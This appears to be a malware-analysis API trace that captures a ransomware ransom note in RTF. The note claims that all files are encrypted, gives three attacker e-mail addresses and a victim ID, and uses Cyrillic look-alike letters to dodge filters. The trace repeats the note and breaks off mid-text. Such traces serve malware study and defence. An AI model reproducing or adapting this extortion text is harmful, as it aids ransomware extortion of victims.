lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n 